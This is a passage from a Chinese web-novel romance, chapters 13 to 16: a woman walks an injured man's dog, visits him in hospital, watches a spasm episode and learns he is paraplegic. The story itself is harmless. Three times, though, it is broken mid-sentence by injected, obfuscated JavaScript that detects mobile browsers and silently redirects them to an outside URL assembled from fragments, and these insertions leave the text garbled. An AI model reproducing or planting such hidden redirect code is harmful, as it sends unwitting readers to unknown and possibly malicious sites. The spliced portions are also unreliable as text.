他照做,肩部发力,臀部往上挪,姿势不算美观,但很熟练。 他尝试着一直低音量地在电视上播放武林外传,学着许尽欢日常的方式生活。偶尔认真看一会,被逗笑两声。 眼睛慢慢闭上,背部和腰下那条熟悉的暗痛今天像被温水浸润,连剧痛都少了三分。 大概是爱的力量。 他美滋滋地想。 13. 第 13 章 这几天的生活像被人套上一个课程表,规律得让生活一向无序随性的许尽欢有些无奈。 第一天,许尽欢把电视的音量调到她习惯的背景声档,手机屏幕也调到与世无争亮度。 剪片到下午,被手机的闹钟吓得心脏几乎骤停,她叹了口气,上楼去给崽崽喂吃的。 顺便把崽崽的一个小视频发给纪允川。 内容是小狗在玄关蹦跶,后腿一蹬一蹬地挪着圆屁股,嘴里叼着牵引绳,眼睛里全是“请现在立刻马上出门”的光。 发出去之后,她思索半晌,还是决定好人做到底。把引导绳套在崽崽的脖子上,带着小朋友下了楼。 两分钟后,手机“叮”了一下: 【妈啊,这小子居然这么会撒娇。你甭管它了。】 她看着这句没忍住笑,拍了张正在草坪和蝴蝶玩的崽崽: 【带它下来跑两圈,看着怪可怜的】 【啊啊啊啊,谢谢!!这待遇也太好了。可怜.jpg】 许尽欢收起手机,当作看不到纪允川的言下之意。 第二天,昼夜颠倒的许尽欢被闹钟惊醒,刷牙洗脸后还没回神,脚步虚浮地进了电梯到楼上给崽崽喂饭。内心庆幸着抱抱不用遛,同时庆幸再过几天这种坐牢还债的日子就要结束了。 遛崽崽其实不算太累,听到“坐”就坐,听到“等一下”就杵着不动,偶尔会回头看她一眼确认:人还在,便安心继续对一丛新鲜草叶进行学术研究。 回家前,她按规矩给它擦脚擦耳朵,拍了一段小视频: 崽崽套着彩虹项圈,靠在她膝盖边打哈欠。 纪允川那边回了条语音,声音还是有点哑:“我宣布,这条视频荣获今日最佳缓解神经痛奖。” 第三天,聊天频率变得自然。 纪允川会在她发“忙”字后消失两三个小时,等她发来“结束了”又立刻上线;他给她的天气提醒也一次没失手,像个没什么用但很贴心的小插件。白天他会开短会,晚上会乖乖报备“去躺十分钟”,很快就发来下一个消息:“我回来了。”许尽欢不多言,大多只回“好”“知道”,偶尔多给一个“嗯”。 这些简单的消息,哪怕是个“嗯”,都让他的耳尖红了不止一次。 到了第四天,她在下条视频需要购入的食材备忘录里顺带写了一句: 【出院前再去探病一次】 她算了算,对方住院十来天,她作为罪魁祸首去探病三次,差不多了。 然后去商超挑了水果,病房不适合麻烦,她选的全是好分好入口的。小番茄、蓝莓、熟透的香梨。一次性叉签、纸碗、湿巾装进袋子。 把晚上拍视频要用的食材规整好,许尽欢给纪允川发消息: 【今天方便吗?我带点水果过去。】 那边回复迅速:【方便!你来我就立刻坐好等(认真)】 话发出两秒,他又补:【我会听医生的话先躺着,等你到再坐。】 【行。】 她回。 她到的时候,病房窗帘半拉着,室内很安静。护工小张刚收拾完垃圾袋,见她在门口张望的表情吓了一跳,连忙笑:“许小姐您来了。我把床头再给纪先生摇起来一点。” “麻烦你了。”她点头。 纪允川已经撑着身子坐起来,背靠着床头,病号服换了干净的一件,领口规整,右臂的贴布变小了一圈,看样子手臂的伤口好了不少,边缘比之前平整。他的下肢被厚厚的被子盖住,看不出什么,但他左手正搭在大腿上,像是刚按过几下。 “你发消息说这几天都没发烧了?”她把水果放小桌上,洗了手,动作利索地把小番茄冲净、蓝莓沥干,梨用刀切好,转着分开,弄成小瓣放纸碗里。 “更好了,医生说指标还在往回跑。”他说着,右腿轻轻抖了一下,像极细的弓弦射出箭后轻颤,他没遮掩,用左手在大腿上按了两下,换了个更靠实的坐姿,笑地明媚,“你别在意,是天气的问题。下周就好了,我看天气预报下周开始雨季就正式结束了。也不知道是我更准还是天气预报更准” “吃完躺会儿吧。”她没搭他那半句玩笑。 “遵命。” 他刚要再说什么,手机在枕边震了一下。他侧头接起:“喂?……你们到门口了!!?” 他把手机从耳边拿开半寸,眼神下意识地往许尽欢那边看了一眼,像在飞快找解释的语言:“不是,你们来干什——” 门口传来几声脚步,敲门声紧跟着,门把手一转,门缝从一道光扩到半扇门的宽。一个戴帽子的年轻人摇晃着手里正在通话的手机冲到门口:“老大!我们来看你——” 后半句在看见许尽欢的那一瞬间硬生生刹住,他身后还挤着两个人,一个抱着画筒,一个拎着塑料袋。三张脸一齐定格成“啊”的口型,然后不约而同地掏出手机,各自表演起我此刻有一个特别重要的电话要接的戏码。 “什么?我爸放学了要我去接?” “啊?我表弟生了?男孩女孩啊?” “哎,奶,你和我爷结婚了?” 几个人打着电话你推我搡地走着踉跄的步伐打算离开病房,但三个人挤成一团,生生卡在了本来很宽敞的VIP病房门口,表演拙劣到不忍直视。许尽欢叹气,那天的齐先生演的还是更像样点。 房间里短暂安静,连被子的摩擦都显得很响。许尽欢僵了半秒,还是起身,得体地笑,轻轻颔首:“你们好。” 三个人不知怎么的,鞠着躬离开了病房。 纪允川的脸上写满了恨铁不成钢。 他飞快把电话挂了,手心在被单上摩擦了一下,像在找合适的语气:“实在不好意思,他们仨是我工作室的同事。比较跳脱,我没想到他们忽然冲过来了。他们也没提前跟我说一声。” “你朋友来看你这是好事。”许尽欢倒是对此接受良好,庆幸于自己虽然不爱出门,但出门时间超过半小时通常会穿搭得体化个淡妆,也不算太狼狈。 “你快让他们回来吧。我正好要去商场买书,就先走了。”许尽欢拿起椅子上搭着的皮衣穿好,拎起地上的包。 “带伞了吗?”他下意识脱口而出。 她笑了一下,像是被这个熟悉的问题逗到了:“最近都是小雨,没事。” “把窗台上那把带上吧,别嫌麻烦。等下淋感冒就坏了。”他指了指窗边靠着的那把黑色折叠伞。 “好,谢谢。”她把伞拿起,又把还没分完的水果推到他这边,“这些正好能和你朋友一起吃。” 她转身往门口走,步子不快不慢。路过那三个假装“各自在打电话”的人时,她再次礼貌地颔首,那三张脸的表情堪称五光十色,几人慌忙让出一条路。 门轻轻关上,走廊的气流把没拉拉链的外套吹了一下。 病房里,三个人小跑着折了回来,一股脑挤在床边,七嘴八舌。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535071|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “老大对不起对不起,我们不是故意的。” “我们以为你一个人,门口护士说可以探视我们就冲了。” “我还买了酸奶……还是绿的那种,叶绿素什么什么……哦不对那是牙膏。” 纪允川满脸恨铁不成钢,抬了抬下巴,指了指小桌:“坐,先把水果吃了再说。冰箱有牛奶酸奶还有果汁,渴了自己拿。” “你们来到底干啥的。”他把床头轻轻放低了一格,右臂按着控制钮,动作熟练。 “看你,”戴帽子的男人把手机揣回兜里,“顺便找你开个会。看看优化程序下一步怎么细分。” “优化程序哪个部分?”纪允川也没多在意,下意识进入工作状态。 “读盘卡顿那块儿,”小伙子一口气说,“我们现在把地图分块了,但是内存就变得太大了,UI还是不顺,移动端偶尔掉到四十帧……我们想拆细一点,队列调度再分一下。” 抱着纸筒的姑娘举手:“我这边把高发场景导出了,然后新地图的美术也准备好了,只是影子那边还有点问题。” 另一位刚刚“表弟生了的”补充:“我在做资源打包复盘,主要看重复引用。” “停一下。”纪允川抬手打断,口气自然地切到工作,“把‘读盘卡顿’拆三项:一,资源打包复盘,李子带;二,送参数表,大城你来;三,美术那边小玫把占位先接进去,给我一个对比视频。今天把拆分文档先出来,明天给我A/B数据。” “好嘞。”三人齐声。 抱着纸筒的小玫把纸筒放在床边,忍了十秒,还是没忍住,眼睛亮得像灯泡:“所以刚刚的漂亮女生是嫂子吗!是吗是吗是吗!” “是我高中学姐。”纪允川没抬眼,但耳朵明显红了一点,“她社恐,你们几个再见着敢胡说八道我把你们统统发卖去天天优化地图加载!” “你这是威胁吧!”李子哀嚎。 “是!”他笑,气势十足。 “老大你别坐那么直,”大城眼尖,“要不要躺会儿?” “我自己弄,你们继续吧。”他摇摇头,左手按在大腿上,顺手把刚刚攀上来的痉挛按回去,“你们快点说完。我躺着听。” 他自己按了床控,把床角度降了两格,肩背一点点往下滑,枕头被他拍松,两条腿在被子里倒是规规矩矩,右脚不小心打了个抖,他深吸一口气,收住。三个人见状立刻提速汇报,好像再拖一秒就真要被卖去优化地图加载到天荒地老。 汇报完,他把水果碗推过去:“吃点再走。” “老大,你笑得太明显了。”小玫腮帮子鼓鼓的,口齿不清地说。 “就你懂,明天就让你再设计一套npc节日限定服装。”纪允川转移话题。 “哟,这是害羞了啊?”大城一边享用着圣女果一边惊奇道。 纪允川把许尽欢亲手切的香梨尽数塞进嘴里:“吃还堵不上你们的嘴啊,快点吃完回去。别在我病房围着,空气都不流通了。” “哇,老大你没有心。我们好心好意来看你。” “别以为我不知道你们看完我就直接下班回家了。”纪允川毫不留情地拆穿:“你们下次再不打招呼,我让林易全记你们旷工,扣全勤。” 电梯抵达负一层,许尽欢收伞,走进商场冷气。 被巨大的广告横幅吸引住了眼球 【第179家分店开业】 【正宗广式风味】 14. 第 14 章 【多谢了,这伞确实救我一命。】 许尽欢不免对纪允川准确的天气预报感到敬佩,配了一段十秒小视频,商场外,一片雨墙,红色警示灯在雨里闪烁。 纪允川躺在床上,看着对面发来的很多个字,笑着回复: 【为人民服务!】 收了手机,她沿着连廊往上走。电梯前玻璃墙内是一溜儿餐饮店。她路过茶餐厅门口,玻璃上全是蒸汽,灯箱里广告牌的虾饺剔透,肠粉软亮。 她顿了一下,自己也不知道为什么要顿。 隐约记起,病床上的那位债主好像说过最爱虾饺和金钱肚。 她看了眼表:18:08。走进香气弥漫的大门。 “欢迎光临,几位?” “一位。打包。”她收了伞,抖掉水珠搁进伞桶里,看着手里设计十分美观的的菜单,“虾饺一笼、牛肉肠粉一份、金钱肚一例,劳烦您嘱咐一下后厨尽量不辣少油。再要马蹄糕和椰汁糕各一份。都分装小盒,给一次性叉签,谢谢。” “好的,小姐稍等。” 她找了个靠窗位坐,窗外雨声把人声盖得只剩嗡嗡。她低头点开微信 【吃晚饭了吗?】 那边几乎秒回:【还没,病号餐的发放时间还没到。555。小狗哭泣.jpg。】 她眼前像真的浮出一只捧碗的可怜崽崽。不过她没理会这份卖惨,她又敲字:【几点放饭啊?】 【七点。你吃晚饭了吗?】 她只回了个【还没】 没多说别的。 等单的时候她看着门口的雨,心里默默吐槽了自己一句:我这是干嘛。 不过,买都买了。 “小姐,打包好了。” 手里拎起纸袋,一股温热的香气顶着雨味儿往上蹿。她提着保温袋和收好的雨伞回到商场门口叫车。 雨天打车的人很多,许尽欢站在一边发呆。 等车到了她拎着纸袋钻进后座,轿车的雨刷来回划,风挡玻璃上干干净净开一道缺口。 导航显示到医院二十分钟。 她拿起手机,手机的消息提醒角落亮着“5”。 点开,是他刚才断断续续发来的: 18:30【刚才真是不好意思,下次我保证不让他们不打招呼就来。】 18:32【你下午要不要过来,我们偷偷在病房海底捞一下怎么样?】 【哎,算了算了,你现在来找我的话等你回去天都黑了。你一个人回去不安全。】 18:37【小张先走了,护士说七点前还会巡一轮。撑过最后一轮我就可以在病房里肆无忌惮了。耶】 18:44【我忽然感觉自己有点像派大星。】 许尽欢笑了一下,逐条回复。 【你朋友来看你说明你人缘很好。】 【别捞了,我买了早茶。想吃吗?】 【你也用脑干发声吗?】 熄灭手机,车正好停在医院门口。许尽欢撑起雨伞,拎起保温袋往医院的大门走。她走得不快,鞋底在地上留下浅浅水痕,然后又被新的雨滴淹埋。 晚上的风把雨味儿带进了走廊,医院的灯一排一排,白得像玻璃珠。许尽欢推门进去的时候,先顺手把门碰到门挡上,规律地敲了两下。病房还是那间,窗帘半垂,护工小张不在,空气里比下午更安静。 里面停了半秒,有人憋着疼似的把声线压平:“进来。” 护工已经走了,病房里就纪允川一个,他趴在床上,大概是自己敲门后刚把身体从趴伏位挪回半侧,后背汗水都浸透了,真丝的枕巾湿出一大片。头发贴在额角,右臂的纱布已经揭开了,红褐色的血痂看着很唬人。胸口起伏急促。 余光掠过床沿另一侧,床尾那根金属挂杆上,吊着一个透明的软质尿袋。黄色液面在袋里泛着光,管路沿着被单底下过去,接口从他的裤腰伸出,被医用胶带固定在胯骨。床尾的袋子半满,滴口朝下,夹子夹得很死。她的手顿了一下, “怎么脸色这么难看?”她眉心很淡地拧了一下。 纪允川被许尽欢忽然的到来和自己的狼狈模样惊喜交加,吓得一激灵,又很快弯出笑:“你来啦!” 她把纸袋放在病房角的茶几上,目光简略地扫过输液管和导尿管的位置,确认没被压住,才往前一步,从床侧抽了两张纸递给他:“需不需要我去叫医生?你出了好多汗。” “我没事,”他摇头,努力想摆出轻松的样子,“下雨天嘛,后背有点疼。” 他伸手去摸床头遥控器。右手往上一抬又放下,换左手取。 她有个扶他的动作,只抬了半截就收回,改成把遥控器塞进他手里:“好好躺着。” “不躺了,我饿了~你带了什么好吃的投喂我?”他说着按了两下按钮,床慢慢升到八十度,动一下停一下,挺有耐心。 她把小桌板抽出来,准备拉到床前放东西。桌板刚一动,床上的人像被什么不见的线牵了一下,低低吸了口气,肩胛骨在病号服里绷了紧。他刚才还端着的那点笑意在眼角散掉,喉咙里挤出一个“嗯——”还没完全成立就碎开了。 短时间里从在床上像海星一样趴着到几乎九十度坐起的角度,下肢在被子底下像鱼尾一样抖了一下,他用伸手在被面按了按大腿,在心里祈祷这两条腿不要太不给他面子了。 “茶餐厅随便买了几样。”她余光看到纪允川的遮掩,善解人意地忽视他的情况。拉开保温袋,热气冲出来,香味跟雨气撞一起,“你外套呢?” “沙发上。” 她瞟了一眼那件外套,干干净净叠得四四方方,顺手把拎起来放在他的被子上:“坐起来被子盖不到上身,发烧刚好别再着凉了。” 回身把小桌板从床尾拉出来,避开管线,“把桌板拉一下。” “是!”纪允川把桌板往自己胸前一拉,眼神像崽崽等开饭。 虾饺晶莹剔透,肠粉被她用纸巾轻按过,不那么油亮,金钱肚颜色偏浅,马蹄糕和椰汁糕切成小块。她把一次性叉签拆好放在他手边。 恰在这时护士推门,端进来“病号餐”:南瓜小米粥、清蒸鸡胸、凉拌时蔬。护士看到桌上的早茶笑着和许尽欢点了下头:“有事按铃。” “好的,辛苦了。”许尽欢把病号餐放近,把点心推远一点,“先吃医院的,这些尝一口就好。” “遵命。” 纪允川先喝粥。粥温度刚好,他慢慢吞,吞一口呼一口,像是跟身体谈判。然后夹起一只虾饺,晶莹剔透的外皮和馅料中的马蹄还有Q弹的虾仁在齿间崩开,虾的甜味把他的眉梢都抬了一点。 “真的是太谢谢你了,这是我住院体验最好的一次。”他说得很认真。“你吃了吗?” “打包的时候吃过了。”她随口撒谎,顺手把金钱肚的盒盖压了一半,留个小口当“试吃口”。 他会意,夹了一小块尝尝,转回粥和鸡胸。 吃到第三口鸡胸,他的腿在被子里又“噌”地弹了一下,手也无意识收紧,脸色白了一瞬。 许尽欢把桌板往自己方向推了一个手掌,免得压到他胸口,语速有些快:“你说的神经痛?” “嗯。”他肩膀还是不自觉抬起,像只佝偻着后背的虾。 体位改了那么一点点,像是触到某个机关。这点改变沿着路径往里传,细密的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535072|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一股力突然往里收,把膀胱整块攥住。疼痛从深处往外翻,先是下腹深处绞一下,接着沿着脊柱像刀刃拖着锉过去,几节骨头被一寸一寸磨着,磨得发热,发烫,发紧。他下意识要转回去,胸口却像被杠住,呼吸先乱了节,牙关一扣,“咯吱”的声音在舌根后面响了一下。 许尽欢反手把小桌板“咔哒”地推开,不让它顶在他胸口,声音沉稳:“怎么了?我能做什么?” 他没有立刻答,掌心往上抬了一下,像要抓住什么。她看到他的手伸过来,下意识去按呼叫铃。她的指尖刚摸到按钮,他抬臂慌不择路地扣住了她的手腕,男人的上肢力气一向让人很有压迫感,纪允川更是如此。每天靠双臂推动轮椅,臂力不言而喻,此刻这一抓又快又准,热烫,带着汗。 “没事,”他尽力把音往稳了压,“一会儿,就好。” 他这么说话的时候,眼睛是亮的,但亮得像水里漂着的蜡烛灯,似乎一个不注意就会灭掉。额头上汗珠一颗一颗往下滚,脖子那一圈贴布下边缘的皮肤全是潮的,沿着锁骨往里淌。他仰靠着,喉结上下滑了两下,疼痛沿着气管往上爬。 脊柱后方那根火焰样的痛跟着松紧一并来回。汗从额角滴到枕巾上,枕巾一片深色渗开,沿着他颈后的发根全是潮气。咬紧牙关地忍痛。 许尽欢也不知道自己此刻为什么会莫名其妙地抽离,分神听到纪允川咬牙挤出细小的“咯吱”,像冬天踩雪。 听得人牙酸……要起鸡皮疙瘩了…… 纪允川拉扯着瞬间苍白的嘴唇,看着呆呆的许尽欢试图安抚她,无奈地笑了笑:“这没办法,只能捱过去。” 疼像从刀尖换成钝锤,再慢慢消退。两分钟很长,长得像被拉细的糖线。那股弦在某一瞬间突然断了,腿上的不由自主的抖忽然停住,停得唐突,像有人按了暂停。他呼气的时候背后一松,整个人往床里塌了一点。脸色白得厉害,嘴唇的颜色也褪掉了,像被擦过一样。汗还在出,细密地。 许尽欢也吓了一跳,抽了张纸递过去,他没有立刻接,像是手上那一点点动作也舍不得花力气,过了一息才用左手拿住,在额角和后颈抹了一下。她没把小桌板推回来,仍让位置空着。 他松一口气,抬眼冲她做个鬼脸:“刚才那一下,比打怪掉帧还烦。” “纪允川,你......”她站在床侧,话刚起了个头,忽然又收住。她不确定该用哪个词,疼?难受?还是……她从不擅长对别人身体做评估,更不爱把别人的缺陷拿来当话题。 况且眼前这位很显然不是什么简单的疼痛。 纪允川看见她唇角那点迟疑,那点想说又拧回去的表情被他看得真切。许尽欢的脸没有丰富的表情,可她不言的时候那一点点眉间的微动比什么都诚实。 他忽然笑了,露出一口白牙,此时此刻笑得有点欠揍:“截瘫,从这儿往下瘫了。刚刚是痉挛,算是并发症?瞧你为难的,自从咱俩认识,你一直都不问,我都找不见由头跟你卖惨。” 他说“这儿”的时候,用指尖点了点腰腹的位置,从腰腹往下比了个范围,侧着眼睛看她。口气轻,但大概不是不在乎。 你看,事实就是这样。 许尽欢安静地“嗯”了一声。没有更多情绪,也没有敷衍的安慰,用十分不符合常人的反应接受了这个事实。 “好了,”他自己先结束了这个段落,往回靠了靠,背后的贴布和病号服摩擦了一下,“吃过了也再一起吃点吧?” “都凉了。”她看了一眼那两盒还没来得及打开的食盒,平淡地说。 “外面的休息室有微波炉,可能得麻烦你走两步路啦。”他用下巴往门外努了努。 15. 第 15 章 “嗯。”她把两盒分出一盒,抱起盒子,“我去热一下,很快。” 十分庆幸这个借口,和放在外面的微波炉。 她实在是不擅长安抚别人,尤其是这种一眼看上去就是残疾的情况。说什么都让她觉得跟说风凉话似的站着说话不腰疼。 她出门的时候顺手把门虚掩了一点,风从门缝往里熘了一缕,带着走廊上浅浅的消毒水味。她去护士站旁边的小吧台,那儿放着微波炉。 她和值班护士打了个招呼,拆开盖子,把虾饺和肠粉盖了张保鲜膜,按了九十秒。转盘转的时候,她抬眼看了一眼玻璃,里面两个白白胖胖的虾饺被蒸汽又润了一层光。 “造孽啊......" 她对自己几次主动探病这种完全异常的行为感到不解,在微波炉运作的声音中,潜意识似乎在理智前起效,似乎是预知到了情感的变向,预知先行而自言自语地喃喃。 病房里,纪允川看到许尽欢远去的背影,强撑着在床上调整了一下被子,左手从被里的侧边探进去摸了摸。 他的指尖触到一点湿意,僵了一下,像被针刺,耳后那根血管跳了跳。他不敢用力,指尖只是轻轻碰了一下就收回来,低头咬住口腔内侧的软肉,把那点尴尬和沮丧情绪一口咬住,咬到发麻。 然后把被子从腰上那一段往上掖,掖得严严的,边角抚平,像铺床的护工一样认真。 他慢慢吐出一口气。 他知道这副样子不好看。他讨厌狼狈,但更讨厌让人看到狼狈。他能做的,是在狼狈和特别狼狈之间,给自己找一个没那么糟的夹缝苟且偷生。 门被轻轻推开,微波炉的“叮”在他脑子里延迟了一秒才响。她端着盒子回来,热气一冲,病房里那点局促和紧张被甜腻的米香压过去一点。她把盒子放到小桌板上,留了一个他伸手够得到的距离。 “试温。”她把一次性叉签放他手边。 他用左手拿着叉签,先挑起肠粉一角,吹了吹气,轻轻挨了一下牙。热度刚刚好,糯得能在舌面摊开。他眼睛不由自主往上挑了一点,笑意又回来了。 许尽欢给自己倒了一小杯温水,坐在床边的折叠椅上,不看他吃,也不盯着他。她把自己的手机扣在腿上,拇指不动,默默地听他呼吸的频率有没有稳定下来。 她不爱说“慢点吃”,也不爱说“小心烫”,她总觉得面对一个有认知能力的成年人絮絮叨叨这种话会显得她像个无用的复读机,许尽欢不爱过问别人已经在做的事。 “你常常会这样吗?”她等他吃了两口,开口问。语气很淡,像问今天吃了吗。 “一天有个一两次?”他想了想,没往轻里说,也没往重里卖惨,“不生病的话大概只有早晚,我会吃肌肉松弛的药物。不过其实也算幸运的,我肌肉萎缩比别人慢点。好多人没两年,腿就细得跟手腕似的了。我都三年了,腿看着也没那么唬人。”他说“唬人”的时候笑了一下。 许尽欢此刻是真的有些敬佩,原来真的有人可以这么乐观。在遭遇重大变故后还能这么乐观开朗,积极向上。 “嗯。”她点头。她没有接他“幸运”的话头,也没有客套地说“挺好”。 她觉得作为一个旁观者,这样由本人自我开解说出的“幸运”似乎不太应该去附和,怕自己轻描淡写的回复把当事人的痛苦稀释。 纪允川端着勺子,偷偷用眼尾余光去看她。她坐得很直,背没有贴到椅背,肩线收着。她的“嗯”是实打实的肯定,可以感受到不是敷衍。 她像一堵不动声色的墙,十分值得依靠,就算不讲话的时候也并不让人难受。 “是不是吓坏你了。”他把虾饺分成一半,笑着问。他喜欢把话里的“你”拉出来打直球,是他从小的习惯。确认了别人感受的方向,才知道该往哪边迈步。 从他的神经痛开始发作,一直到双腿开始痉挛。他根本没怎么在意像一日三餐定时敲门的病躯,一直在默默地关注者许尽欢的神情动作。 又怕又想看。 害怕许尽欢清冷漂亮的面孔出现哪怕一瞬的嫌弃和厌恶,在意许尽欢究竟是否在意自己。 “没有。”她如实回答,想了一下,又补了一句,“就是,觉得你应该怪难受的。” 他怔了一瞬,笑意在脸上铺开,病房有些坠入谷底的温度被这句话轻轻地托高。 她很少讲出这样的句子,能得到一句“感觉你怪难受的”,他已经很满足。比起“真可惜啊”“加油啊”这类空心糖,这句“怪难受的”还是更顶饱。 他心情极好,食指大动。他吃东西的时候不发出声,右手稳住叉签,左手偶尔帮忙托一托盒子的边。被子底下他的腿安分了不少,偶尔能看出足尖轻轻抽动一下,连带着覆盖着下身的被子褶皱细细地变化个角度,像水底的小鱼摆尾,带起水面的波纹涟漪。 “要不要我按铃让护士来?”许尽欢实在是有点害怕,病床上的人面色惨淡,她生怕一个不注意这人就晕过去了。 她身体一直很好,有了记忆后几乎没怎么进过医院。 “先不用。”他把勺子拿回手里,动作恢复了节奏,“我这条后背今天是跟天气合伙搞我。” “嗯。”她往后退了半步,重新坐在床边的椅子上,在他视野边缘。 他把清粥干掉三分之二,鸡胸吃了两口,时蔬夹了几根。停下的时候,呼吸平顺了许多。他目光又黏回那盒虾饺,她觉得好笑,只把虾饺往前推了两厘米。 许尽欢观察得出结论,纪允川应该家教很好。不仅吃相很斯文漂亮,吃完的时候,桌上没有残渣。她拿张纸,把桌板擦了一遍,不用力,只是把桌上以为食物热气凝结的水擦掉。 收起的时候手腕从衣袖里露出来,腕骨那块皮白得发透,上面压着两道形状清晰的红印,指腹的宽度,弧度都在。 纪允川正打算接过餐巾纸自己清理,眼睛一下就落了上去。他的食指和拇指几乎是同时抬起来,不敢用力地轻轻扯住她肘侧的衣服:“怎么了?” 许尽欢摸不着头脑,顺着他的目光低头,才看见那两道红。她的皮肤本就极其白皙,碰一下就容易发红泛青,刚刚纪允川可能是疼得厉害抓得急,她又没缩,印子当然明显。 “要不要去急诊看看?”他没控制住滑出口的关心,眉心拧成一团,“抱歉抱歉,都怪我,这是我刚刚抓你弄的。” “啊?”她一愣,有点没接上他的脑回路。 他抬手指了指她腕骨处,那两道红印在他指尖下越发显眼起来。他舌尖不自觉抵了一下上颚,像在抵住愧疚。他知道自己刚才力气大,但此刻留在白皙手腕上的红痕才知道自己刚才那一抓有多粗鲁,哪怕是下意识。 “没事,我磕磕碰碰都容易留印,可能皮肤敏感吧。”她把纸团丢进垃圾袋里,语气很淡,陈述事实。 “实在对不住。”他又说了一遍,因为他实在不知道这个道歉怎么才能落实到位。 “别道歉了,你又不是故意的。”她把空盒子叠好,用橡皮筋套好,推到他那边,像是把这个话题也当作一个盒子一样盖好收掉,“当事人都没在意,你也不用放在心上。” 难以置信的是他确实被她这一句劝好了。这种硬邦邦的实诚,像把一根钉子直接钉进墙里。他松了口气,把“对不起”吞回去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535073|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她看了眼他背后的枕巾,枕巾上的湿印被他翻了一面,凉的一面贴在颈后,发根的汗被凉意压下去一点。她问:“还有没有什么不舒服的?” “没了没了,只余愧疚。”他回答,眼睛望着许尽欢,“你说你好心给我带饭,结果还被我给抓伤了。” 许尽欢像是想起什么有意思的,冷不丁笑了:“那还好抱抱抓你那天我揪着你去打了疫苗。” 纪允川瞬间接收到了许尽欢的地狱冷笑话,没忍住笑出来:“那确实。” 窗外雨还在下,雨势比刚才小了些,落在窗台边的时候,声音细了,像针落在绸上穿走。走廊上有轮子滚过去,带着一串轻轻的“咕噜”。护士推门进来巡房,看了一眼输液的速度,换了个角度放药袋,问:“有没有哪里不舒服?” “没事,谢谢。”他先答,声线平稳了许多。 护士点点头,又把她们的垃圾袋捎走,临走说:“有事按铃。” 门又缓缓合上,病房里回到他们和谐的安静。许尽欢拿起手机看了眼时间。她起身,把椅子叠好倚到墙边,问:“剩下的你还要吗?要不要我给你留一半放在冰箱?” “行。我正好明天当早饭”他配合地回答。 被子下的腿忽然轻轻抖了一下,像是剩下的尾音。 纪允川的眼角还挂着一点疲惫,但那一点因为她在而被削弱了不少。 他发现,只要许尽欢在,他对疼的忍耐限度就自动往上提了一点。大概是因为他不用逞强,因为她不会夸张地心疼惋惜,动作言语不会在他面前变形,让他省去了一大半要安抚对方的力气。 “我先走了。”她把自己刚刚在商场买的两本书拎起来,又把他床侧的遥控器摆回原处,“有事给我发消息。” “好。”他应。 “难受不要忍。”她顿了顿,补了这么一句。它有点不像她惯常说的句式,听起来像是被硬生生推出来的五个字。 他笑了一下,认真地点头:“收到。” 她往门口走,手刚摸到门把手,他说:“到家给我发个消息啊,天快黑了,我不放心。” 她回头,“好。” 许尽欢转身离开,走廊的风打在她脸上,又把她送回到另一个温度。 她走到电梯前,玻璃里映着她的脸,脸色沉静。这一晚,信息量太大,情节跌宕。她需要时间休息消化。 她按了电梯。电梯“叮”地一声开了,里头没人。她进去,打开叫车软件,屏幕上的数字倒着跳回去。手机震了一下。 他发来:【别忘了吃东西。】 她思索自己似乎进病房的时候就已经随口撒谎说吃了,以为是纪允川那一轮疼痛忘记了,也不愿解释,随手打了个【好】,又补了一句【你好好休息】。 病房里,他看着她【好】的那个字,轻轻地笑了一下。 进病房的时候说自己吃过了果然是糊弄他的。 骗子。 太阳西沉,窗台外面那点潮气像从地里冒出来。护士在走廊和另一个护士低声说了几句,门缝的光不再晃动。他把枕巾抽出扔在一旁。闭上眼,默数着药滴下来的节拍。一滴,一滴,一滴。 他忽然确认了一件事,那就是,许尽欢面对他忽然发作的病痛的语气,让他觉得,疼这件事从今晚起,有了一个可以陈述的对象。坦白地说出情况后,可以收获不软不硬不热不冷,不会被夸大,也不会被轻慢的回复。 他觉得这很幸运。 这就够了。 他望着天花板,衡量着,是现在叫护士帮忙换掉弄脏的床单被罩和衣服,还是躺在湿冷的秽物里等这瓶药水挂完再说。 16. 第 16 章 许尽欢回到家,一盏落地灯持续亮着,电视留在背景声档。 她把包放下,站在玄关没动两秒。她从医院出来就有种喘不上气的感觉,不知道是夏天的到来让空气变得有些闷热还是直面了人类的渺小脆弱。 生活了这么多年,她离残疾人最近的时刻不过是互联网偶尔刷到和电视新闻,近距离接触大概是早年还能在街上看到的一些乞讨的人不知道是真残疾还是装残疾。但只要她身上有零钱,她总会随手放在对方的器皿里。 许尽欢自认为不算是个好人,也不算是个善人。 这种确切而真实的残疾实在让人心里不舒服,她只能稍微克制自己惋惜的神情与对方交往对话。 而这件事情十分耗费心力。 脱掉鞋子外套扑进沙发,摸出手机,打开搜索栏。 指尖在屏幕上停一瞬,稍加思索,打字: “截瘫” 